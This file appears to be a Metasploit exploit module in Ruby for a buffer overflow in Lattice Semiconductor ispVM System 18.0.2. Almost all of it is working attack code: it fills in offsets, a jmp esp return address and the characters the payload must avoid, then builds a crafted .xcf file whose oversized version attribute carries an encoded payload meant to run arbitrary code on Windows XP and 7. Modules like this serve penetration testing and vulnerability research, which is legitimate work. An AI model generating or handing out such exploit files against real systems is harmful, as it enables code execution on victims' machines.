80 lines
2.2 KiB
Ruby
80 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => "Lattice Semiconductor ispVM System XCF File Handling Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in ispVM System 18.0.2. Due to the way
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ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially
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crafted file, when a long value is supplied for the version attribute of the ispXCF
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tag. It results in arbitrary code execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability Discovery
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '82000'],
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['BID', '53562'],
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['URL', 'http://secunia.com/advisories/48740/']
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],
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',
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{
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'Offset' => 274,
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'BreakOffset' => 243,
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'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "May 16 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.xcf']),
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])
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end
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def exploit
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buf = rand_text(target['Offset'])
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buf[target['BreakOffset']] = "A"
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buf << [target.ret].pack("V")
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buf << payload.encoded
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xcf = %Q|
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<?xml version='1.0' encoding='utf-8' ?>
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<!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >
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<ispXCF version="#{buf}">
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</ispXCF>
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file_create(xcf)
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end
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end
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